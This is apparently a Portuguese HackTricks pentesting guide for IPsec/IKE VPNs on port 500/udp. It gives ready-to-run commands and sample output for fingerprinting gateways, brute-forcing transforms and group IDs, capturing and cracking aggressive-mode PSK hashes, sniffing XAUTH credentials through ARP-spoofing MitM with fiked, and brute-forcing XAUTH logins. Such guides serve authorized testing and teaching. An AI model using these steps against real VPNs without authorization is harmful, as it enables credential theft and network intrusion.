19 KiB
500/udp - Teste de penetração em VPN IPsec/IKE
Aprenda hacking na AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras maneiras de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe suas técnicas de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud do github.
Grupo de Segurança Try Hard
{% embed url="https://discord.gg/tryhardsecurity" %}
Informações Básicas
IPsec é amplamente reconhecido como a principal tecnologia para garantir a segurança das comunicações entre redes (LAN-to-LAN) e de usuários remotos para o gateway de rede (acesso remoto), servindo como a espinha dorsal das soluções de VPN empresariais.
O estabelecimento de uma associação de segurança (SA) entre dois pontos é gerenciado pelo IKE, que opera sob o guarda-chuva do ISAKMP, um protocolo projetado para autenticação e troca de chaves. Esse processo se desenrola em várias fases:
- Fase 1: Um canal seguro é criado entre dois pontos. Isso é alcançado por meio do uso de uma Chave Pré-Compartilhada (PSK) ou certificados, empregando o modo principal, que envolve três pares de mensagens, ou modo agressivo.
- Fase 1.5: Embora não seja obrigatória, esta fase, conhecida como Fase de Autenticação Estendida, verifica a identidade do usuário que tenta se conectar, exigindo um nome de usuário e senha.
- Fase 2: Esta fase é dedicada a negociar os parâmetros para garantir a segurança dos dados com ESP e AH. Permite o uso de algoritmos diferentes dos da Fase 1 para garantir Sigilo Perfeito para Frente (PFS), aumentando a segurança.
Porta padrão: 500/udp
Descubra o serviço usando nmap
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT STATE SERVICE
500/udp open isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
Encontrar uma transformação válida
A configuração do IPSec pode ser preparada para aceitar apenas uma ou algumas transformações. Uma transformação é uma combinação de valores. Cada transformação contém um número de atributos como DES ou 3DES como o algoritmo de criptografia, SHA ou MD5 como o algoritmo de integridade, uma chave pré-compartilhada como o tipo de autenticação, Diffie-Hellman 1 ou 2 como o algoritmo de distribuição de chaves e 28800 segundos como o tempo de vida.
Então, a primeira coisa que você tem que fazer é encontrar uma transformação válida, para que o servidor possa se comunicar com você. Para fazer isso, você pode usar a ferramenta ike-scan. Por padrão, o Ike-scan funciona no modo principal e envia um pacote para o gateway com um cabeçalho ISAKMP e uma única proposta com oito transformações dentro dela.
Dependendo da resposta, você pode obter algumas informações sobre o ponto final:
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
Como você pode ver na resposta anterior, há um campo chamado AUTH com o valor PSK. Isso significa que a VPN está configurada usando uma chave pré-compartilhada (e isso é realmente bom para um pentester).
O valor da última linha também é muito importante:
- 0 returned handshake; 0 returned notify: Isso significa que o alvo não é um gateway IPsec.
- 1 returned handshake; 0 returned notify: Isso significa que o alvo está configurado para IPsec e está disposto a realizar a negociação IKE, e uma ou mais das transformações que você propôs são aceitáveis (uma transformação válida será mostrada na saída).
- 0 returned handshake; 1 returned notify: Os gateways VPN respondem com uma mensagem de notificação quando nenhuma das transformações é aceitável (embora alguns gateways não o façam, nesse caso, uma análise adicional e uma proposta revisada devem ser tentadas).
Então, neste caso, já temos uma transformação válida, mas se você estiver no 3º caso, então você precisa forçar um pouco para encontrar uma transformação válida:
Primeiro, você precisa criar todas as transformações possíveis:
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
E então fazer força bruta em cada um usando o ike-scan (isso pode levar vários minutos):
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
Se a tentativa de força bruta não funcionou, talvez o servidor esteja respondendo sem apertos de mão, mesmo para transformações válidas. Nesse caso, você poderia tentar a mesma abordagem de força bruta, mas usando o modo agressivo:
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
Esperançosamente uma transformação válida é ecoada de volta.
Você pode tentar o mesmo ataque usando iker.py.
Você também poderia tentar forçar transformações com ikeforce:
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
No Grupo DH: 14 = 2048-bit MODP e 15 = 3072-bit
2 = HMAC-SHA = SHA1 (neste caso). O formato --trans
é $Enc,$Hash,$Auth,$DH
A Cisco indica evitar o uso dos grupos DH 1 e 2 porque não são suficientemente fortes. Especialistas acreditam que países com muitos recursos podem facilmente quebrar a criptografia de dados que utilizam esses grupos fracos. Isso é feito usando um método especial que os prepara para quebrar os códigos rapidamente. Mesmo que custe muito dinheiro para configurar esse método, permite a esses países poderosos ler os dados criptografados em tempo real se estiverem usando um grupo que não seja forte (como 1.024 bits ou menor).
Fingerprinting do servidor
Em seguida, você pode usar o ike-scan para tentar descobrir o fornecedor do dispositivo. A ferramenta envia uma proposta inicial e para de retransmitir. Em seguida, ela analisa a diferença de tempo entre as mensagens recebidas do servidor e o padrão de resposta correspondente, o pentester pode identificar com sucesso o fornecedor do gateway VPN. Além disso, alguns servidores VPN usarão o payload opcional Vendor ID (VID) com o IKE.
Especifique a transformação válida, se necessário (usando --trans)
Se o IKE descobrir qual é o fornecedor, ele o imprimirá:
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200 Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)
IKE Backoff Patterns:
IP Address No. Recv time Delta Time
172.16.21.200 1 1322286031.744904 0.000000
172.16.21.200 2 1322286039.745081 8.000177
172.16.21.200 3 1322286047.745989 8.000908
172.16.21.200 4 1322286055.746972 8.000983
172.16.21.200 Implementation guess: Cisco VPN Concentrator
Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
Isso também pode ser alcançado com o script do nmap ike-version
Encontrando o ID correto (nome do grupo)
Para poder capturar o hash, você precisa de uma transformação válida que suporte o Modo Agressivo e o ID correto (nome do grupo). Provavelmente você não saberá o nome do grupo válido, então terá que fazer força bruta.
Para isso, eu recomendaria 2 métodos:
Força bruta do ID com ike-scan
Primeiramente, tente fazer uma solicitação com um ID falso tentando obter o hash ("-P"):
ike-scan -P -M -A -n fakeID <IP>
Se nenhum hash for retornado, então provavelmente este método de força bruta funcionará. Se algum hash for retornado, isso significa que um hash falso será enviado de volta para um ID falso, então este método não será confiável para forçar o ID. Por exemplo, um hash falso poderia ser retornado (isso acontece em versões modernas):
Mas como eu disse, se nenhum hash for retornado, então você deve tentar forçar nomes de grupos comuns usando o ike-scan.
Este script tentará forçar IDs possíveis e retornará os IDs onde um handshake válido é retornado (isso será um nome de grupo válido).
Se você descobriu uma transformação específica, adicione-a no comando ike-scan. E se você descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
Você pode usar o dicionário do ikeforce ou o do seclists de nomes de grupos comuns para forçá-los:
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
Bruteforçando ID com Iker
iker.py também utiliza o ike-scan para fazer força bruta em possíveis nomes de grupo. Ele segue seu próprio método para encontrar um ID válido com base na saída do ike-scan.
Bruteforçando ID com ikeforce
ikeforce.py é uma ferramenta que pode ser usada para fazer força bruta em IDs também. Esta ferramenta irá tentar explorar diferentes vulnerabilidades que poderiam ser usadas para distinguir entre um ID válido e um não válido (pode haver falsos positivos e falsos negativos, por isso prefiro usar o método do ike-scan se possível).
Por padrão, o ikeforce enviará no início alguns IDs aleatórios para verificar o comportamento do servidor e determinar a tática a ser usada.
- O primeiro método é fazer força bruta nos nomes de grupo pesquisando as informações de Detecção de Pares Inativos DPD dos sistemas Cisco (essas informações são apenas respondidas pelo servidor se o nome do grupo estiver correto).
- O segundo método disponível é verificar o número de respostas enviadas a cada tentativa porque às vezes mais pacotes são enviados quando o ID correto é usado.
- O terceiro método consiste em procurar por "INFORMAÇÃO DE ID INVÁLIDO" em resposta ao ID incorreto.
- Por fim, se o servidor não responder a nada às verificações, o ikeforce tentará fazer força bruta no servidor e verificar se, quando o ID correto é enviado, o servidor responde com algum pacote.
Obviamente, o objetivo de fazer força bruta no ID é obter o PSK quando você tem um ID válido. Em seguida, com o ID e o PSK, você terá que fazer força bruta no XAUTH (se estiver habilitado).
Se você descobriu uma transformação específica, adicione-a no comando do ikeforce. E se descobriu várias transformações, sinta-se à vontade para adicionar um novo loop para tentar todas elas (você deve tentar todas até que uma delas funcione corretamente).
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
Captura de ID
(Do livro Avaliação de Segurança de Rede: Conheça Sua Rede): Também é possível obter nomes de usuário válidos ao capturar a conexão entre o cliente VPN e o servidor, já que o primeiro pacote do modo agressivo contendo o ID do cliente é enviado sem criptografia.
Capturando e quebrando o hash
Por fim, se você encontrou uma transformação válida e o nome do grupo e se o modo agressivo for permitido, então você pode facilmente capturar o hash que pode ser quebrado:
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
O hash será salvo dentro de hash.txt.
Você pode usar psk-crack, john (usando ikescan2john.py) e hashcat para quebrar o hash:
psk-crack -d <Wordlist_path> psk.txt
XAuth
Modo Aggressivo IKE combinado com uma Chave Pré-Compartilhada (PSK) é comumente utilizado para fins de autenticação em grupo. Este método é complementado pelo XAuth (Autenticação Estendida), que serve para introduzir uma camada adicional de autenticação de usuário. Essa autenticação normalmente utiliza serviços como o Microsoft Active Directory, RADIUS, ou sistemas comparáveis.
Ao migrar para o IKEv2, observa-se uma mudança significativa onde o EAP (Protocolo de Autenticação Extensível) é utilizado no lugar do XAuth com o propósito de autenticar usuários. Essa mudança destaca uma evolução nas práticas de autenticação dentro de protocolos de comunicação seguros.
Man-in-the-Middle na rede local para capturar credenciais
Dessa forma, é possível capturar os dados do login usando o fiked e verificar se há algum nome de usuário padrão (Você precisa redirecionar o tráfego IKE para o fiked
para sniffing, o que pode ser feito com a ajuda de ARP spoofing, mais informações). O fiked atuará como um ponto final VPN e capturará as credenciais XAuth:
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
Ataque de MitM e bloqueio de tráfego na porta 500
Também, utilizando IPSec, tente realizar um ataque de MitM e bloquear todo o tráfego para a porta 500. Se o túnel IPSec não puder ser estabelecido, talvez o tráfego seja enviado sem criptografia.
Forçando XAUTH com brute force de usuário e senha usando ikeforce
Para forçar o XAUTH (quando você conhece um nome de grupo válido id e o psk), você pode usar um nome de usuário ou uma lista de nomes de usuários e uma lista de senhas:
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
Desta forma, o ikeforce tentará se conectar usando cada combinação de nome de usuário:senha.
Se você encontrou uma ou várias transformações válidas, basta usá-las como nos passos anteriores.
Autenticação com uma VPN IPSEC
No Kali, o VPNC é utilizado para estabelecer túneis IPsec. Os perfis devem estar localizados no diretório /etc/vpnc/
. Você pode iniciar esses perfis usando o comando vpnc.
Os comandos e configurações a seguir ilustram o processo de configuração de uma conexão VPN com o VPNC:
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
Nesta configuração:
- Substitua
[VPN_GATEWAY_IP]
pelo endereço IP real do gateway VPN. - Substitua
[VPN_CONNECTION_ID]
pelo identificador da conexão VPN. - Substitua
[VPN_GROUP_SECRET]
pelo segredo do grupo VPN. - Substitua
[VPN_USERNAME]
e[VPN_PASSWORD]
pelas credenciais de autenticação VPN. [PID]
simboliza o ID do processo que será atribuído quando ovpnc
for iniciado.
Certifique-se de usar valores reais e seguros para substituir os espaços reservados ao configurar a VPN.
Material de Referência
- Artigo sobre quebra de PSK
- SecurityFocus Infocus
- Escaneando uma Implementação de VPN
- Avaliação de Segurança de Rede 3ª Edição
Shodan
porta:500 IKE
Grupo de Segurança Try Hard
{% embed url="https://discord.gg/tryhardsecurity" %}
Aprenda hacking AWS do zero ao herói com htARTE (HackTricks AWS Red Team Expert)!
Outras formas de apoiar o HackTricks:
- Se você deseja ver sua empresa anunciada no HackTricks ou baixar o HackTricks em PDF, verifique os PLANOS DE ASSINATURA!
- Adquira o swag oficial PEASS & HackTricks
- Descubra A Família PEASS, nossa coleção exclusiva de NFTs
- Junte-se ao 💬 grupo Discord ou ao grupo telegram ou siga-nos no Twitter 🐦 @carlospolopm.
- Compartilhe seus truques de hacking enviando PRs para os repositórios HackTricks e HackTricks Cloud.